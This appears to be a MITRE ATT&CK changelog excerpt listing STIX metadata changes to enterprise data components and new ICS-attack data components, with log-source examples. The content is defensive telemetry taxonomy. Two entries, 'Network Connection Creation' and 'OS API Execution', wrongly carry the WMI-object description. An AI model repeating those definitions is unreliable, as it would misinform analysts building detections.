| modified | 2021-10-20T15:05:19.272285Z | 2021-10-20T15:05:19.272Z |
Process: Process Termination
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272261Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272261Z | 2021-10-20T15:05:19.272Z |
Internet Scan: Response Content
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275251Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275251Z | 2021-10-20T15:05:19.275Z |
Internet Scan: Response Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275230Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275230Z | 2021-10-20T15:05:19.275Z |
Scheduled Job: Scheduled Job Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271629Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271629Z | 2021-10-20T15:05:19.271Z |
Scheduled Job: Scheduled Job Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271606Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271606Z | 2021-10-20T15:05:19.271Z |
Scheduled Job: Scheduled Job Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271671Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271671Z | 2021-10-20T15:05:19.271Z |
Script: Script Execution
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272641Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272641Z | 2021-10-20T15:05:19.272Z |
Service: Service Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273425Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273425Z | 2021-10-20T15:05:19.273Z |
Service: Service Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273397Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273397Z | 2021-10-20T15:05:19.273Z |
Service: Service Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273447Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273447Z | 2021-10-20T15:05:19.273Z |
Snapshot: Snapshot Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273503Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273503Z | 2021-10-20T15:05:19.273Z |
Snapshot: Snapshot Deletion
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273555Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273555Z | 2021-10-20T15:05:19.273Z |
Snapshot: Snapshot Enumeration
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273600Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273600Z | 2021-10-20T15:05:19.273Z |
Snapshot: Snapshot Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273578Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273578Z | 2021-10-20T15:05:19.273Z |
Snapshot: Snapshot Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273532Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273532Z | 2021-10-20T15:05:19.273Z |
Persona: Social Media
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273649Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273649Z | 2021-10-20T15:05:19.273Z |
User Account: User Account Authentication
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271547Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271547Z | 2021-10-20T15:05:19.271Z |
User Account: User Account Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271482Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271482Z | 2021-10-20T15:05:19.271Z |
User Account: User Account Deletion
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271504Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271504Z | 2021-10-20T15:05:19.271Z |
User Account: User Account Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271456Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271456Z | 2021-10-20T15:05:19.271Z |
User Account: User Account Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271526Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271526Z | 2021-10-20T15:05:19.271Z |
Volume: Volume Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275094Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275094Z | 2021-10-20T15:05:19.275Z |
Volume: Volume Deletion
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275140Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275140Z | 2021-10-20T15:05:19.275Z |
Volume: Volume Enumeration
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275181Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275181Z | 2021-10-20T15:05:19.275Z |
Volume: Volume Metadata
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275161Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275161Z | 2021-10-20T15:05:19.275Z |
Volume: Volume Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275118Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275118Z | 2021-10-20T15:05:19.275Z |
WMI: WMI Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271827Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271827Z | 2021-10-20T15:05:19.271Z |
Web Credential: Web Credential Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271909Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271909Z | 2021-10-20T15:05:19.271Z |
Web Credential: Web Credential Usage
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.271933Z | 2021-10-20T15:05:19.271Z |
| modified | 2021-10-20T15:05:19.271933Z | 2021-10-20T15:05:19.271Z |
Windows Registry: Windows Registry Key Access
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273968Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273968Z | 2021-10-20T15:05:19.273Z |
Windows Registry: Windows Registry Key Creation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273900Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273900Z | 2021-10-20T15:05:19.273Z |
Windows Registry: Windows Registry Key Deletion
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273923Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273923Z | 2021-10-20T15:05:19.273Z |
Windows Registry: Windows Registry Key Modification
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | [] |
| external_references | | [] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.273944Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-10-20T15:05:19.273944Z | 2021-10-20T15:05:19.273Z |
ics-attack
New Data Components
Application Log: Application Log Content
Current version: 1.0
Description: Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)
Command: Command Execution
Current version: 1.0
Description: Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Operational Databases: Device Alarm
Current version: 1.0
Description: This includes alarms associated with unexpected device functions, such as shutdowns, restarts, failures, or configuration changes
Drive: Drive Creation
Current version: 1.0
Description: Initial construction of a drive letter or mount point to a data storage device
Drive: Drive Modification
Current version: 1.0
Description: Changes made to a drive letter or mount point of a data storage device
File: File Access
Current version: 1.0
Description: Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)
File: File Creation
Current version: 1.0
Description: Initial construction of a new file (ex: Sysmon EID 11)
File: File Deletion
Current version: 1.0
Description: Removal of a file (ex: Sysmon EID 23, macOS ESF EID ES_EVENT_TYPE_AUTH_UNLINK, or Linux commands auditd unlink, rename, rmdir, unlinked, or renameat rules)
File: File Metadata
Current version: 1.0
Description: Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.
File: File Modification
Current version: 1.0
Description: Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Firmware: Firmware Modification
Current version: 1.0
Description: Changes made to firmware, including its settings and/or data, such as MBR (Master Boot Record) and VBR (Volume Boot Record)
Logon Session: Logon Session Creation
Current version: 1.0
Description: Initial construction of a new user logon session (ex: Windows EID 4624, /var/log/utmp, or /var/log/wmtp)
Logon Session: Logon Session Metadata
Current version: 1.0
Description: Contextual data about a logon session, such as username, logon type, access tokens (security context, user SIDs, logon identifiers, and logon SID), and any activity associated within it
Module: Module Load
Current version: 1.0
Description: Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Network Traffic: Network Connection Creation
Current version: 1.0
Description: Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Network Share: Network Share Access
Current version: 1.0
Description: Opening a network share, which makes the contents available to the requestor (ex: Windows EID 5140 or 5145)
Network Traffic: Network Traffic Content
Current version: 1.0
Description: Logged network traffic data showing both protocol header and body values (ex: PCAP)
Network Traffic: Network Traffic Flow
Current version: 1.0
Description: Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
Process: OS API Execution
Current version: 1.0
Description: Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Process: Process Creation
Current version: 1.0
Description: Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Operational Databases: Process History/Live Data
Current version: 1.0
Description: This includes any data stores that maintain historical or real-time events and telemetry recorded from various sensors or devices
Process: Process Metadata
Current version: 1.0
Description: Contextual data about a running process, which may include information such as environment variables, image name, user/owner, etc.
Process: Process Termination
Current version: 1.0
Description: Exit of a running process (ex: Sysmon EID 5 or Windows EID 4689)
Operational Databases: Process/Event Alarm
Current version: 1.0
Description: This includes a list of any process alarms or alerts produced to indicate unusual or concerning activity within the operational process (e.g., increased temperature/pressure)
Scheduled Job: Scheduled Job Metadata
Current version: 1.0
Description: Contextual data about a scheduled job, which may include information such as name, timing, command(s), etc.
Scheduled Job: Scheduled Job Modification
Current version: 1.0
Description: Changes made to a scheduled job, such as modifications to the execution launch (ex: Windows EID 4702 or /var/log cron logs)
Script: Script Execution
Current version: 1.0
Description: Launching a list of commands through a script file (ex: Windows EID 4104)
Service: Service Creation
Current version: 1.0
Description: Initial construction of a new service/daemon (ex: Windows EID 4697 or /var/log daemon logs)
Service: Service Metadata
Current version: 1.0
Description: Contextual data about a service/daemon, which may include information such as name, service executable, start type, etc.
User Account: User Account Authentication
Current version: 1.0
Description: An attempt by a user to gain access to a network or computing resource, often by providing credentials (ex: Windows EID 4625 or /var/log/auth.log)
Windows Registry: Windows Registry Key Deletion
Current version: 1.0
Description: Removal of a Registry Key (ex: Windows EID 4658 or Sysmon EID 12)
Windows Registry: Windows Registry Key Modification
Current version: 1.0
Description: Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)